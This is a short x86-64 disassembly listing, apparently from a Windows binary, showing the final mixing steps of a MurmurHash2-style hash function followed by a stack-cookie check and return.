imul eax, dword [rdx], 0x5bd1e995
add rdx, 4
imul r10d, r10d, 0x5bd1e995
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul ecx, ecx, 0x5bd1e995
xor r10d, ecx
sub rdi, 1
jne 0x140007790
sub r9d, 1
je 0x1400077dc
sub r9d, 1
je 0x1400077d2
cmp r9d, 1
jne 0x1400077e2
movzx r8d, byte [rdx + 2]
shl r8d, 0x10
movzx eax, byte [rdx + 1]
shl eax, 8
xor r8d, eax
movzx eax, byte [rdx]
xor r8d, eax
imul ecx, r8d, 0x5bd1e995
imul edi, r11d, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
imul eax, r10d, 0x5bd1e995
xor ecx, eax
mov eax, edi
shr eax, 0x18
xor eax, edi
imul edx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
xor edx, eax
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14002f0b0
add rsp, 0x60
pop rdi
ret